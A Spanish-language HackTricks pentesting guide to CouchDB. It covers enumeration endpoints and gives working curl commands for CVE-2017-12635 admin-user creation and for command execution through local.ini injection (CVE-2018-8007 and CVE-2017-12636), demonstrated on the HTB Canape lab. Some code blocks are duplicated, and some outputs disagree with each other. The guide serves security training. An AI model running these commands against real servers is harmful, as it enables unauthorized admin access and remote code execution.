# 5984,6984 - Pentesting CouchDB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## **Información básica** CouchDB es una base de datos orientada a documentos y dentro de cada documento los campos se almacenan como mapas clave-valor. Los campos pueden ser un par clave/valor simple, una lista o un mapa. Cada documento que se almacena en la base de datos recibe un identificador único a nivel de documento (`_id`) y un número de revisión (`_rev`) para cada cambio que se realiza y se guarda en la base de datos. **Puerto predeterminado:** 5984 (http), 6984 (https) ``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` ## **Enumeración Automática** ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` ## Enumeración Manual ### Banner ``` curl http://IP:5984/ ``` Esto emite una solicitud GET a una instancia de CouchDB instalada. La respuesta debería verse algo como uno de los siguientes: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` {% hint style="info" %} Ten en cuenta que si accedes a la raíz de CouchDB y recibes un `401 Unauthorized` con algo como esto: `{"error":"unauthorized","reason":"Authentication required."}` **no podrás acceder** al banner ni a ningún otro endpoint. {% endhint %} ### Enumeración de información Estos son los endpoints a los que puedes acceder con una solicitud **GET** y extraer información interesante. Puedes encontrar [**más endpoints y descripciones más detalladas en la documentación de CouchDB**](https://docs.couchdb.org/en/latest/api/index.html). * **`/_active_tasks`** Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado e ID de proceso. * \*\*`/_all_dbs`\*\*Devuelve una lista de todas las bases de datos en la instancia de CouchDB. * \*\*`/_cluster_setup`\*\*Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster. * **`/_db_updates`** Devuelve una lista de todos los eventos de la base de datos en la instancia de CouchDB. La existencia de la base de datos `_global_changes` es necesaria para usar este endpoint. * **`/_membership`** Muestra los nodos que forman parte del clúster como `cluster_nodes`. El campo `all_nodes` muestra todos los nodos que este nodo conoce, incluyendo los que forman parte del clúster. * **`/_scheduler/jobs`** Lista de trabajos de replicación. Cada descripción de trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas. * **`/_scheduler/docs`** Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estados `completados` y `fallidos`. Para cada documento devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información. * **`/_scheduler/docs/{replicator_db}`** * **`/_scheduler/docs/{replicator_db}/{docid}`** * **`/_node/{node-name}`** El endpoint `/_node/{node-name}` se puede utilizar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a `/_node/_local` para recuperar esta información. * **`/_node/{node-name}/_stats`** El recurso `_stats` devuelve un objeto JSON que contiene las estadísticas del servidor en ejecución. La cadena literal `_local` sirve como un alias para el nombre del nodo local, por lo que para todas las URL de estadísticas, `{node-name}` se puede reemplazar con `_local`, para interactuar con las estadísticas del nodo local. * **`/_node/{node-name}/_system`** El recurso \_system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución. Puedes usar \_\_`_local` como {node-name} para obtener información del nodo actual. * **`/_node/{node-name}/_restart`** * **`/_up`** Confirma que el servidor está en funcionamiento y listo para responder a las solicitudes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) es `true` o `nolb`, el endpoint devolverá una respuesta 404. * \*\*`/_uuids`\*\*Solicita uno o más Identificadores Únicos Universales (UUID) de la instancia de CouchDB. * \*\*`/_reshard`\*\*Devuelve un recuento de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de reorganización en el clúster. Se puede extraer información más interesante como se explica aquí: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) ### **Lista de bases de datos** ``` curl -X GET http://IP:5984/_all_dbs ``` Si la solicitud responde con un **401 no autorizado**, entonces necesitas **credenciales válidas** para acceder a la base de datos: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` Para encontrar credenciales válidas, podrías intentar realizar un ataque de fuerza bruta al servicio. Este es un ejemplo de respuesta de CouchDB cuando tienes suficientes privilegios para listar las bases de datos (es solo una lista de bases de datos): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` ### Información de la base de datos Puedes obtener información de la base de datos (como el número de archivos y tamaños) accediendo al nombre de la base de datos: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` ### **Lista de Documentos** Lista cada entrada dentro de una base de datos. ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs #Example response: {"total_rows":7,"offset":0,"rows":[ {"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}}, {"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}}, {"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}}, {"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}}, {"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}}, {"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}}, {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} ]} ``` ### **Leer Documento** Leer el contenido de un documento dentro de una base de datos: ```bash curl -X GET http://IP:5984/{dbname}/{id} curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` ## Escalada de privilegios en CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, se puede **crear un usuario administrador** con credenciales `hacktricks:hacktricks` con la siguiente solicitud: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` [**Más información sobre esta vulnerabilidad aquí**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). ## RCE de CouchDB ### Cookie de Erlang En la documentación de CouchDB, en la sección de [configuración de clúster](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), se habla de los diferentes puertos utilizados por CouchDB: > CouchDB en modo clúster utiliza el puerto `5984` al igual que en modo independiente, pero también utiliza el puerto `5986` para las APIs locales del nodo. > > Erlang utiliza el puerto TCP `4369` (EPMD) para encontrar otros nodos, por lo que todos los servidores deben poder comunicarse entre sí en este puerto. En un clúster de Erlang, todos los nodos están conectados a todos los demás nodos. Una malla. Y luego hay una advertencia interesante: ![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png) Si miramos en la lista de procesos, podemos ver esa cookie, "monster": ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` **Puedes leer esta sección para aprender cómo abusar de las cookies de Erlangs para obtener RCE**.\ Además, puedes leer algunos **writeups de la máquina Canape HTB** [**como este**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) para ver y **practicar** cómo **explotar esta vulnerabilidad**. ### **Éxito en CVE-2018-8007 con permisos de escritura en local.ini** Al escribir esta publicación, encontré un nuevo CVE que había sido lanzado para CouchDB por mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). También requiere escrituras en el archivo `local.ini`, por lo que no es una opción útil para Canape. Pero como ya lo hemos hecho escribible como root, veamos si podemos hacer que funcione. Comenzamos con un `local.ini` limpio y ahora escribible (y una copia de seguridad): ``` root@canape:/home/homer/etc# ls -l total 40 -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini -rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` Podemos usar curl para modificar los orígenes en el archivo `local.ini`. La vulnerabilidad aquí es que si usamos curl para poner un nuevo origen y luego nuevas líneas, podemos escribir cosas adicionales, incluyendo una nueva cabecera y detalles. Así que aprovecharemos el campo `[os_daemons]` y agregaremos un proceso para que CouchDB intente seguir funcionando: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` En la shell de root, podemos ver qué cambios se han producido: ``` root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 < < [cors] < origins = 0xdf < < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` Y sin embargo, el archivo no está ahí: ``` root@canape:/home/homer/etc# ls /tmp/0xdf ls: cannot access '/tmp/0xdf': No such file or directory ``` Si observamos los procesos en ejecución con "couchdb" en la línea de comandos, no solo vemos la línea de comando que nos da el valor de la cookie que usamos anteriormente, sino también `runsrv couchdb`: ``` root@canape:/home/homer/bin# ps aux | grep couch root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config ``` Si matamos ese proceso, vuelve a aparecer de inmediato (observa el nuevo pid): ``` root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ps aux | grep runsrv root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv ``` Y, al reiniciar, ejecuta los OS\_Daemons: ``` root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` ### **Intento exitoso a través de CVE-2017-12636 con permisos de escritura en local.ini** CVE-2017-12636 permite la ejecución de código a través del proceso de couchdb. Sin embargo, no funcionará en esta configuración. Hay algunos POCs por ahí como referencia: * [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) * [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/) Necesitaríamos escribir un nuevo query\_server y luego invocarlo. Cuando se lanzó Canape, la mayoría de los POC eran para couchdb 1.x, pero esta caja está ejecutando la versión 2, por lo que la ruta de query\_servers de la mayoría de los POC no existe. Eso ha cambiado ahora, pero seguiremos los mismos pasos. Primero, obtenga la versión y muestre que la ruta 1.X no existe: ```bash www-data@canape:/var/www/git$ curl http://localhost:5984 {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/ {"error":"not_found","reason":"Database does not exist."} ``` Actualización con la nueva ruta para la versión 2.0: ```bash www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership' {"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]} www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers {"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"} ``` Desde allí, deberíamos agregar un query\_server y luego invocarlo, pero no podemos hacerlo. ```bash www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' {"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159} ``` Algunas búsquedas en Google muestran que este es un problema de permisos. De hecho, si verificamos con nuestra shell de root, podemos ver que el archivo `local.ini` no es escribible por nadie, y mucho menos por www-data: ``` root@canape:/home/home/etc# ls -ls local.ini 8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini ``` Así que esto es un callejón sin salida para Canape. Pero si queremos intentar hacerlo funcionar, podemos hacerlo legible con nuestro acceso de root o homer, y continuar por este camino. Haremos una copia de seguridad del original para poder ver qué cambios se realizan: ``` root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b root@canape:/# chmod 666 /home/homer/etc/local.ini ``` Ahora, volvamos a nuestra shell de www-data: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' "" ``` ``` www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' "" ``` Obtenemos el valor previo para el servidor de consulta cmd, lo que significa éxito. Y en la shell raíz, podemos ver que funcionó: ``` root@canape:/home/homer/etc# diff local.ini local.ini.bk 48c48 < cmd = /sbin/ifconfig > /tmp/df --- > cmd = ``` Ahora, deberíamos ser capaces de crear una base de datos, y luego un documento en esa base de datos, y solicitarlo con una vista que mapee nuestro query\_server para obtener la ejecución. Crear base de datos y documento: ```bash www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' ["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"] www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df' {"ok":true} www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' ["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"] www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' {"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"} ``` ``` www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' ["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"] www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df' {"ok":true} www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' ["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"] www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' {"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"} ``` Solicítalo en una vista: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json" ``` ## Resumen Se puede buscar la base de datos CouchDB en el puerto 5984 utilizando Shodan. Además, se proporcionan referencias a un análisis de vulnerabilidades y a una ejecución de CouchDB. También se incluyen enlaces a recursos adicionales de HackTricks Cloud.